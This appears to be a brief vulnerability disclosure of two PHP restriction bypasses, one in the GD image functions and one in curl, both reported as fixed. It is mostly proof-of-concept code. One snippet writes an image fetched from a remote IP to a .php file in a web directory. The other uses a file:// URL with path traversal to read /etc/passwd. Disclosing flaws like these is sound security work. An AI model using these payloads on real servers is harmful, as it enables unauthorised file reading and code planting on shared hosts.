There is a vulnerability (local safedir restriction bypass) identified within the GD extension affecting the following functions: - imagegif() - imagepng() - imagejpeg() in /ext/gd/gd.c line 1647 Which is now fixed in the cvs http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786 POC: with an image like http://81.57.125.106/~slythers/file.gif <?php $im = imagecreatefromgif("file.gif"); imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php'); ?> curl openbasedir and safemode bypass. POC: <?php mkdir("./".$_SERVER["SCRIPT_NAME"]."?"); $ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd "); $file=curl_exec($ch); echo $file; ?> As you notice, we can bypass the safedir which leads to access to any files on any shared servers. This is fixed in the cvs. slythers@xxxxxxxxx greets : david coallier <davidc@xxxxxxx>
